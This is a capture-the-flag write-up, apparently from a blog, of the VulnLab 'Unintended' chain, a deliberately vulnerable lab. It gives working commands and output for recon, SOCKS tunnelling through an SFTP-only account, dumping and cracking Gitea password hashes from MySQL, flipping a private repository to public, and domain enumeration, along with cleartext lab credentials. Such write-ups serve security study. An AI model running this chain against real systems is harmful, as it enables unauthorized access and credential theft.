POSTS

VULNLAB: Unintended

Unintended is an Medium chain that provides a hands-on experience with common missteps in Active Directory deployments, demonstrating how attackers can pivot between services to escalate privileges. It blends Linux privilege escalation techniques with Active Directory attack paths, making it a valuable practice ground for both offensive and defensive security practitioners.

VULNLAB: Unintended
7230 words · 34 min

Overview

  • Type Chains
  • OS Linux
  • Severity Medium
  • Creator kavigihan
  • Release date 2024 Apr 25
  • IP 10.10.161.21, 10.10.161.22, 10.10.161.23

Enumeration

Start the instance via Discord and let’s go:

image

10.10.161.21
10.10.161.22
10.10.161.23

Nmap

$ nmap -sC -sV -Pn --min-rate=1000 -T4 10.10.161.21
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 14:51 JST
Nmap scan report for 10.10.161.21
Host is up (0.25s latency).
Not shown: 986 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 72:dd:96:5e:a9:77:be:ef:7c:54:4f:38:55:bf:69:c3 (ECDSA)
|_  256 f4:c3:6c:24:cf:eb:93:f4:14:3f:98:98:2d:fa:cb:93 (ED25519)
53/tcp    open  domain       (generic dns response: NOTIMP)
88/tcp    open  kerberos-sec (server time: 2024-05-01 05:51:31Z)
| fingerprint-strings: 
|   Kerberos: 
|     d~b0`
|     20240501055131Z
|     krbtgt
|_    client in request
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Samba smbd 4.6.2
389/tcp   open  ldap         (Anonymous bind OK)
| ssl-cert: Subject: commonName=DC.unintended.vl/organizationName=Samba Administration
| Not valid before: 2024-02-24T19:33:59
|_Not valid after:  2026-01-24T19:33:59
|_ssl-date: TLS randomness does not represent time
445/tcp   open  netbios-ssn  Samba smbd 4.6.2
464/tcp   open  kpasswd5?
636/tcp   open  ssl/ldap     (Anonymous bind OK)
| ssl-cert: Subject: commonName=DC.unintended.vl/organizationName=Samba Administration
| Not valid before: 2024-02-24T19:33:59
|_Not valid after:  2026-01-24T19:33:59
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap         (Anonymous bind OK)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.unintended.vl/organizationName=Samba Administration
| Not valid before: 2024-02-24T19:33:59
|_Not valid after:  2026-01-24T19:33:59
3269/tcp  open  ssl/ldap     (Anonymous bind OK)
| ssl-cert: Subject: commonName=DC.unintended.vl/organizationName=Samba Administration
| Not valid before: 2024-02-24T19:33:59
|_Not valid after:  2026-01-24T19:33:59
|_ssl-date: TLS randomness does not represent time
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.94SVN%I=7%D=5/1%Time=6631D86D%P=aarch64-unknown-linux-gn
SF:u%r(DNSStatusRequestTCP,E,"\0\x0c\0\0\x90\x04\0\0\0\0\0\0\0\0");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port88-TCP:V=7.94SVN%I=7%D=5/1%Time=6631D868%P=aarch64-unknown-linux-gn
SF:u%r(Kerberos,68,"\0\0\0d~b0`\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa
SF:4\x11\x18\x0f20240501055131Z\xa5\x05\x02\x03\x04x\x97\xa6\x03\x02\x01\x
SF:06\xa9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x0
SF:6krbtgt\x1b\x02NM\xab\x16\x1b\x14No\x20client\x20in\x20request");
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-05-01T05:52:30
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: b0:6a:69:06:81:7f (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.56 seconds

add dc.unintended.vl in /etc/hosts

$ nmap -sC -sV -Pn --min-rate=1000 -T4 10.10.161.22
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 14:51 JST
Nmap scan report for 10.10.161.22
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 72:dd:96:5e:a9:77:be:ef:7c:54:4f:38:55:bf:69:c3 (ECDSA)
|_  256 f4:c3:6c:24:cf:eb:93:f4:14:3f:98:98:2d:fa:cb:93 (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Under Construction
|_http-server-header: Werkzeug/3.0.1 Python/3.11.8
8200/tcp open  http    Duplicati httpserver
| http-title: Duplicati Login
|_Requested resource was /login.html
|_http-server-header: Tiny WebServer
Service Info: Host: web.unintended.vl; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.75 seconds

add web.unintended.vl in /etc/hosts

$ nmap -sC -sV -Pn --min-rate=1000 -T4 10.10.161.23
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 14:51 JST
Nmap scan report for 10.10.161.23
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     pyftpdlib 1.5.7
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 10.10.161.23:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 72:dd:96:5e:a9:77:be:ef:7c:54:4f:38:55:bf:69:c3 (ECDSA)
|_  256 f4:c3:6c:24:cf:eb:93:f4:14:3f:98:98:2d:fa:cb:93 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.48 seconds

Wfuzz - Vhost discovery

$ wfuzz -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --c 200 -H "Host: FUZZ.unintended.vl" -u http://web.unintended.vl --hw 303
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://web.unintended.vl/
Total requests: 100000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                              
=====================================================================

000000172:   200        0 L      141 W      3132 Ch     "chat"                                                                                               
000000710:   200        271 L    1217 W     13541 Ch    "code" 
...

add chat.unintended.vl, code.unintended.vl in /etc/hosts

# VulnLab
10.10.161.21	dc.unintended.vl
10.10.161.22	web.unintended.vl	chat.unintended.vl	code.unintended.vl

Gobuster - Directory discovery

  • chat.unintended.vl:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u chat.unintended.vl -b 404,412,403 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://chat.unintended.vl
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   403,404,412
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================

Error: the server returns a status code that matches the provided options for non existing urls. http://chat.unintended.vl/90785a0f-5772-48f2-88e3-b9382541747b => 200 (Length: 3132). To continue please exclude the status code or the length

Found http://chat.unintended.vl/90785a0f-5772-48f2-88e3-b9382541747b

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u chat.unintended.vl -b 404,412,403 --exclude-length 3132
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://chat.unintended.vl
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404,412,403
[+] Exclude Length:          3132
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
...

Nothing.

  • code.unintended.vl:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u code.unintended.vl -b 404,412,403      
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://code.unintended.vl
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404,412,403
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 303) [Size: 38] [--> /user/login]
/administrator        (Status: 200) [Size: 16463]
/.                    (Status: 200) [Size: 13651]
/v2                   (Status: 401) [Size: 50]
/issues               (Status: 303) [Size: 38] [--> /user/login]
/explore              (Status: 303) [Size: 41] [--> /explore/repos]
/notifications        (Status: 303) [Size: 38] [--> /user/login]
/Administrator        (Status: 200) [Size: 16462]
/milestones           (Status: 303) [Size: 38] [--> /user/login]

DNS enumeration

$ dnsenum --dnsserver 10.10.133.53 --enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl
dnsenum VERSION:1.2.6

-----   unintended.vl   -----


Host's addresses:
__________________

unintended.vl.                           900      IN    A        10.10.180.21


Name Servers:
______________

dc.unintended.vl.                        3600     IN    A        10.10.180.21


Mail (MX) Servers:
___________________



Trying Zone Transfers and getting Bind Versions:
_________________________________________________

unresolvable name: dc.unintended.vl at /usr/bin/dnsenum line 897 thread 2.

Trying Zone Transfer for unintended.vl on dc.unintended.vl ... 
AXFR record query failed: no nameservers


Brute forcing with /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:
_______________________________________________________________________________________

web.unintended.vl.                       900      IN    A        10.10.10.12
web.unintended.vl.                       900      IN    A        10.10.180.22
backup.unintended.vl.                    900      IN    A        10.10.10.13
backup.unintended.vl.                    900      IN    A        10.10.180.23
chat.unintended.vl.                      900      IN    A        10.10.180.22
dc.unintended.vl.                        3600     IN    A        10.10.180.21
code.unintended.vl.                      900      IN    A        10.10.10.12
code.unintended.vl.                      900      IN    A        10.10.180.22
gc._msdcs.unintended.vl.                 900      IN    A        10.10.180.21
domaindnszones.unintended.vl.            900      IN    A        10.10.180.21
forestdnszones.unintended.vl.            900      IN    A        10.10.180.21
...

add backup.unintended.vl in /etc/hosts

# VulnLab
10.10.161.21	dc.unintended.vl
10.10.161.22	web.unintended.vl	chat.unintended.vl	code.unintended.vl
10.10.161.23	backup.unintended.vl

Beachhead - Gitea credential finding (80/tcp) && SFTP misconfiguration

Quick check on the port 80 and we can access http://web.unintended.vl to a static website:

image

Mattermost is hosted at http://chat.unintended.vl:

image

Duplicati is hosted at http://web.unintended.vl:8200:

image

Currently we don’t have the password.

Gitea is hosted on http://code.unintended.vl:

image

We focus first on Gitea.

image

image

There are few commits in the public repository of Juan named DevOps.

image

Found ftp_user:Th3_F1P_Account$$

image

Found wp_user:WPpassword2024 and root:root (for MySQL DB)

Try to use the credentials to connect to Backup:

$ ftp ftp_user@backup.unintended.vl
Connected to backup.unintended.vl.
220 pyftpdlib 1.5.7 ready.
331 Username ok, send password.
Password: 
530 Authentication failed.
ftp: Login failed
ftp: Can't connect or login to host `backup.unintended.vl:?'
221 Goodbye.

Failed

Try to use the credentials to connect to SSH of Web:

$ ssh ftp_user@web.unintended.vl
The authenticity of host 'web.unintended.vl (10.10.161.22)' can't be established.
ED25519 key fingerprint is SHA256:tJleDiPxkfercfXNLxPUOfwqqwKcMI5eJC+MX30izO4.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:17: [hashed name]
    ~/.ssh/known_hosts:18: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'web.unintended.vl' (ED25519) to the list of known hosts.
(ftp_user@web.unintended.vl) Password: 
This service allows sftp connections only.
Connection to web.unintended.vl closed.

Failed

Try to use the credentials to connect to SFTP of web.unintended.vl:

$ sftp ftp_user@web.unintended.vl
(ftp_user@web.unintended.vl) Password: 
Connected to web.unintended.vl.
sftp> dir
ftp_user  
sftp> cd ftp_user
sftp> dir
sftp> quit

Success logon but nothing interesting.

SFTP service may be misconfigured to allow port forwarding and tunneling even if it disallows SSH login, allowing us to probe and reach internal ports and networks.

We will use this opportunity to be able to use Dynamic Port Forwarding with SSH (Socks5), so let’s try.

Note
$ ssh -D 1080 ftp_user@web.unintended.vl -p 22 -fN
(ftp_user@web.unintended.vl) Password: Th3_F1P_Account$$

Double check:

$ netstat -taon | grep LISTEN                      
tcp        0      0 127.0.0.1:1080          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      off (0.00/0/0)
tcp6       0      0 ::1:1080                :::*                    LISTEN      off (0.00/0/0)

Confirmed, our port forwarding is correctly set.

Now we can proceed to a port scan for the internal side of web.unintended.vl:

$ proxychains -q nmap --min-rate=1000 -T4 localhost 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 16:58 JST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.31s latency).
Not shown: 993 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
222/tcp  open  rsh-spx
3000/tcp open  ppp
3306/tcp open  mysql
8000/tcp open  http-alt
8200/tcp open  trivnet1

Nmap done: 1 IP address (1 host up) scanned in 311.40 seconds

Now we will pivot to MySQL:

$ proxychains -q mysql -u root -proot -P 3306 -h localhost 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 5969
Server version: 8.3.0 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

List the databases:

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gitea              |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.321 sec)

Enter to gitea database:

MySQL [(none)]> use gitea;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

List the tables:

MySQL [gitea]> show tables;
+---------------------------+
| Tables_in_gitea           |
+---------------------------+
| access                    |
| access_token              |
| action                    |
| action_artifact           |
| action_run                |
| action_run_index          |
| action_run_job            |
| action_runner             |
| action_runner_token       |
| action_schedule           |
| action_schedule_spec      |
| action_task               |
| action_task_output        |
| action_task_step          |
| action_tasks_version      |
| action_variable           |
| app_state                 |
| attachment                |
| badge                     |
| branch                    |
| collaboration             |
| comment                   |
| commit_status             |
| commit_status_index       |
| dbfs_data                 |
| dbfs_meta                 |
| deploy_key                |
| email_address             |
| email_hash                |
| external_login_user       |
| follow                    |
| gpg_key                   |
| gpg_key_import            |
| hook_task                 |
| issue                     |
| issue_assignees           |
| issue_content_history     |
| issue_dependency          |
| issue_index               |
| issue_label               |
| issue_user                |
| issue_watch               |
| label                     |
| language_stat             |
| lfs_lock                  |
| lfs_meta_object           |
| login_source              |
| milestone                 |
| mirror                    |
| notice                    |
| notification              |
| oauth2_application        |
| oauth2_authorization_code |
| oauth2_grant              |
| org_user                  |
| package                   |
| package_blob              |
| package_blob_upload       |
| package_cleanup_rule      |
| package_file              |
| package_property          |
| package_version           |
| project                   |
| project_board             |
| project_issue             |
| protected_branch          |
| protected_tag             |
| public_key                |
| pull_auto_merge           |
| pull_request              |
| push_mirror               |
| reaction                  |
| release                   |
| renamed_branch            |
| repo_archiver             |
| repo_indexer_status       |
| repo_redirect             |
| repo_topic                |
| repo_transfer             |
| repo_unit                 |
| repository                |
| review                    |
| review_state              |
| secret                    |
| session                   |
| star                      |
| stopwatch                 |
| system_setting            |
| task                      |
| team                      |
| team_invite               |
| team_repo                 |
| team_unit                 |
| team_user                 |
| topic                     |
| tracked_time              |
| two_factor                |
| upload                    |
| user                      |
| user_badge                |
| user_open_id              |
| user_redirect             |
| user_setting              |
| version                   |
| watch                     |
| webauthn_credential       |
| webhook                   |
+---------------------------+
107 rows in set (0.361 sec)

Huge list…

Focus first to see the datat from user:

MySQL [gitea]> select * from user;
+----+---------------+---------------+-----------+-----------------------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+--------+---------------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+
| id | lower_name    | name          | full_name | email                       | keep_email_private | email_notifications_preference | passwd                                                                                               | passwd_hash_algo | must_change_password | login_type | login_source | login_name | type | location | website | rands                            | salt                             | language | description | created_unix | updated_unix | last_login_unix | last_repo_visibility | max_repo_creation | is_active | is_admin | is_restricted | allow_git_hook | allow_import_local | allow_create_organization | prohibit_login | avatar | avatar_email        | use_custom_avatar | num_followers | num_following | num_stars | num_repos | num_teams | num_members | visibility | repo_admin_change_team_access | diff_view_style | theme | keep_activity_private |
+----+---------------+---------------+-----------+-----------------------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+--------+---------------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+
|  1 | administrator | administrator |           | administrator@unintended.vl |                  1 | enabled                        | f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902 | pbkdf2$50000$50  |                    0 |          0 |            0 |            |    0 |          |         | 978d50f37af62dd06b3488f31c2e86d9 | 6f7cf4aa34feb922092ef9f7ca342fa5 | en-US    |             |   1704818537 |   1708806311 |      1708806253 |                    0 |                -1 |         1 |        1 |             0 |              0 |                  0 |                         1 |              0 |        | admin@unintended.vl |                 0 |             0 |             0 |         0 |         0 |         0 |           0 |          0 |                             0 | unified         | auto  |                     0 |
|  2 | juan          | juan          |           | juan@unintended.vl          |                  1 | enabled                        | d8bf3dff89969075cd73cc1496942901ea132619454318cb37e4bec821d6867045bcbc0ac2905c2531ee5d6e6c5a475c9b51 | pbkdf2$50000$50  |                    0 |          0 |            0 |            |    0 |          |         | b9cecf83c8b7fa3966fdd1fd41c96f42 | a3914c8815b674a9f680eaf8eb799e19 | en-US    |             |   1704818644 |   1708806354 |      1708806339 |                    1 |                -1 |         1 |        0 |             0 |              0 |                  0 |                         1 |              0 |        | juan@unintended.vl  |                 0 |             0 |             0 |         0 |         2 |         0 |           0 |          0 |                             0 | unified         | auto  |                     0 |
+----+---------------+---------------+-----------+-----------------------------+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------+------------+--------------+------------+------+----------+---------+----------------------------------+----------------------------------+----------+-------------+--------------+--------------+-----------------+----------------------+-------------------+-----------+----------+---------------+----------------+--------------------+---------------------------+----------------+--------+---------------------+-------------------+---------------+---------------+-----------+-----------+-----------+-------------+------------+-------------------------------+-----------------+-------+-----------------------+
2 rows in set (0.274 sec)

Focus to some columns only to have a better visibility:

MySQL [gitea]> select lower_name,passwd,passwd_hash_algo from user;
+---------------+------------------------------------------------------------------------------------------------------+------------------+
| lower_name    | passwd                                                                                               | passwd_hash_algo |
+---------------+------------------------------------------------------------------------------------------------------+------------------+
| administrator | f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902 | pbkdf2$50000$50  |
| juan          | d8bf3dff89969075cd73cc1496942901ea132619454318cb37e4bec821d6867045bcbc0ac2905c2531ee5d6e6c5a475c9b51 | pbkdf2$50000$50  |
+---------------+------------------------------------------------------------------------------------------------------+------------------+
2 rows in set (0.255 sec)

Found 2 users and their hashes.

What is pbkdf2 hash algo?

According to Wikipedia, PBKDF2 (Password-Based Key Derivation Function version 2) is key derivation function with a sliding computational cost, used to reduce vulnerability to brute-force attacks. But there are some weak points.

According to Hashcat Wiki, the format is: sha256:<number_of_iterations>:<base64_salt>:<base64_hash>

Hash-ModeHash-NameExample
10900PBKDF2-HMAC-SHA256sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

image

Ok so let dig again to MySQL to grab all needed info:

MySQL [gitea]> select lower_name,passwd,passwd_hash_algo,salt from user;
+---------------+------------------------------------------------------------------------------------------------------+------------------+----------------------------------+
| lower_name    | passwd                                                                                               | passwd_hash_algo | salt                             |
+---------------+------------------------------------------------------------------------------------------------------+------------------+----------------------------------+
| administrator | f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902 | pbkdf2$50000$50  | 6f7cf4aa34feb922092ef9f7ca342fa5 |
| juan          | d8bf3dff89969075cd73cc1496942901ea132619454318cb37e4bec821d6867045bcbc0ac2905c2531ee5d6e6c5a475c9b51 | pbkdf2$50000$50  | a3914c8815b674a9f680eaf8eb799e19 |
+---------------+------------------------------------------------------------------------------------------------------+------------------+----------------------------------+
2 rows in set (0.360 sec)
  • The number of iterations is 50000.
  • The salt and hash are in hex so we need to convert them to Base64.

Convert the hash to base64 for the administrator:

$ echo 'f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902' | xxd -r -p | base64
9Xo9XRmayAVMcJ5mW060hC8OFyolOpYDi+Xvnm/nsCkPLXFVJIg90ResMJ6HjB276QI=

Convert the salt to base64 for the administrator:

$ echo '6f7cf4aa34feb922092ef9f7ca342fa5' | xxd -r -p | base64
b3z0qjT+uSIJLvn3yjQvpQ==

Let’s try to crack it with Hashcat:

$ hashcat -m 10900 -a 0 'sha256:50000:b3z0qjT+uSIJLvn3yjQvpQ==:9Xo9XRmayAVMcJ5mW060hC8OFyolOpYDi+Xvnm/nsCkPLXFVJIg90ResMJ6HjB276QI=' /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

sha256:50000:b3z0qjT+uSIJLvn3yjQvpQ==:9Xo9XRmayAVMcJ5mW060hC8OFyolOpYDi+Xvnm/nsCkPLXFVJIg90ResMJ6HjB276QI=:loveandhate
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:b3z0qjT+uSIJLvn3yjQvpQ==:9Xo9XRmayAVMc...276QI=
Time.Started.....: Thu May  2 17:49:41 2024 (1 min, 3 secs)
Time.Estimated...: Thu May  2 17:50:44 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:      234 H/s (11.00ms) @ Accel:128 Loops:512 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14848/14344385 (0.10%)
Rejected.........: 0/14848 (0.00%)
Restore.Point....: 14592/14344385 (0.10%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:49664-49999
Candidate.Engine.: Device Generator
Candidates.#1....: chato -> dwayne1
Hardware.Mon.#1..: Util: 98%

Started: Thu May  2 17:49:20 2024
Stopped: Thu May  2 17:50:46 2024

Found administrator@unintended.vl:loveandhate

We can access to Gitea using these credentials:

image

We can see a private repository named home-backup.

We found the juan’s credentials in .bash_history:

image

After checking more also in MySQL, we found another way to achieve the same goal as we have some good stuff from repository:

MySQL [gitea]> select * from repository;
+----+----------+------------+-------------+-------------+-----------------------------------------------------------------+---------+-----------------------+--------------+----------------+-------------+-----------+-----------+------------+-------------------+-----------+------------------+----------------+-----------------------+--------------+---------------------+-----------------+------------------------+------------+----------+-------------+-----------+--------+---------+---------+-------------+-------------+-------+----------+----------+-----------------+---------------------------------------+--------+-------------+--------+--------------+--------------+---------------+
| id | owner_id | owner_name | lower_name  | name        | description                                                     | website | original_service_type | original_url | default_branch | num_watches | num_stars | num_forks | num_issues | num_closed_issues | num_pulls | num_closed_pulls | num_milestones | num_closed_milestones | num_projects | num_closed_projects | num_action_runs | num_closed_action_runs | is_private | is_empty | is_archived | is_mirror | status | is_fork | fork_id | is_template | template_id | size  | git_size | lfs_size | is_fsck_enabled | close_issues_via_commit_in_any_branch | topics | trust_model | avatar | created_unix | updated_unix | archived_unix |
+----+----------+------------+-------------+-------------+-----------------------------------------------------------------+---------+-----------------------+--------------+----------------+-------------+-----------+-----------+------------+-------------------+-----------+------------------+----------------+-----------------------+--------------+---------------------+-----------------+------------------------+------------+----------+-------------+-----------+--------+---------+---------+-------------+-------------+-------+----------+----------+-----------------+---------------------------------------+--------+-------------+--------+--------------+--------------+---------------+
|  2 |        2 | juan       | devops      | DevOps      | Templates and config files for automation and server management |         |                     0 |              | main           |           1 |         0 |         0 |          0 |                 0 |         0 |                0 |              0 |                     0 |            0 |                   0 |               0 |                      0 |          0 |        0 |           0 |         0 |      0 |       0 |       0 |           0 |           0 | 30391 |    30391 |        0 |               1 |                                     0 | null   |           0 |        |   1704956079 |   1705315120 |             0 |
|  7 |        2 | juan       | home-backup | home-backup | Backup for home directory in WEB                                |         |                     0 |              | main           |           1 |         0 |         0 |          0 |                 0 |         0 |                0 |              0 |                     0 |            0 |                   0 |               0 |                      0 |          1 |        0 |           0 |         0 |      0 |       0 |       0 |           0 |           0 | 29980 |    29980 |        0 |               1 |                                     0 | null   |           0 |        |   1705597112 |   1705597656 |             0 |
+----+----------+------------+-------------+-------------+-----------------------------------------------------------------+---------+-----------------------+--------------+----------------+-------------+-----------+-----------+------------+-------------------+-----------+------------------+----------------+-----------------------+--------------+---------------------+-----------------+------------------------+------------+----------+-------------+-----------+--------+---------+---------+-------------+-------------+-------+----------+----------+-----------------+---------------------------------------+--------+-------------+--------+--------------+--------------+---------------+
2 rows in set (0.348 sec)

Focus to some columns only to have a better visibility:

MySQL [gitea]> select id,owner_name,lower_name,is_private from repository;
+----+------------+-------------+------------+
| id | owner_name | lower_name  | is_private |
+----+------------+-------------+------------+
|  2 | juan       | devops      |          0 |
|  7 | juan       | home-backup |          1 |
+----+------------+-------------+------------+
2 rows in set (0.292 sec)

Found a private directory home-backup.

Switch it to public then leave:

MySQL [gitea]> UPDATE repository SET is_private=0 WHERE id=7;
Query OK, 1 row affected (0.329 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MySQL [gitea]> quit;
Bye

Refresh the Gitea and we can see the home-backup repository:

image

We review the .bash_history:

image

Found juan@unintended.local:theJUANman2019

Domain enumeration

Check is this account is valid for the DC:

$ nxc smb dc.unintended.vl -u 'juan' -p 'theJUANman2019'                                    
SMB         10.10.133.53    445    DC               [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB         10.10.133.53    445    DC               [+] unintended.vl\juan:theJUANman2019

Enumerate users:

$ nxc smb dc.unintended.vl -u 'juan' -p 'theJUANman2019' --users         
SMB         10.10.133.53    445    DC               [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB         10.10.133.53    445    DC               [+] unintended.vl\juan:theJUANman2019 
SMB         10.10.133.53    445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.10.133.53    445    DC               Administrator                 2024-02-24 19:33:16 0       Built-in account for administering the computer/domain 
SMB         10.10.133.53    445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.10.133.53    445    DC               krbtgt                        2024-02-24 19:33:16 0       Key Distribution Center Service Account 
SMB         10.10.133.53    445    DC               juan                          2024-02-24 19:40:31 0        
SMB         10.10.133.53    445    DC               abbie                         2024-02-24 19:40:32 0        
SMB         10.10.133.53    445    DC               cartor                        2024-02-24 19:40:32 0

Enumerate groups:

$ nxc smb dc.unintended.vl -u 'juan' -p 'theJUANman2019' --groups
SMB         10.10.133.53    445    DC               [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB         10.10.133.53    445    DC               [+] unintended.vl\juan:theJUANman2019 
SMB         10.10.133.53    445    DC               [-] Error enumerating domain group using dc ip 10.10.133.53: session terminated by server

Failed

$ nxc ldap -d unintended.vl -u 'juan' -p 'theJUANman2019' --bloodhound -c Group dc.unintended.vl
SMB         10.10.133.53    445    DC               [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
[19:30:33] ERROR    Exception while calling proto_flow() on target 10.10.133.53: list index out of range

Issue reported #243
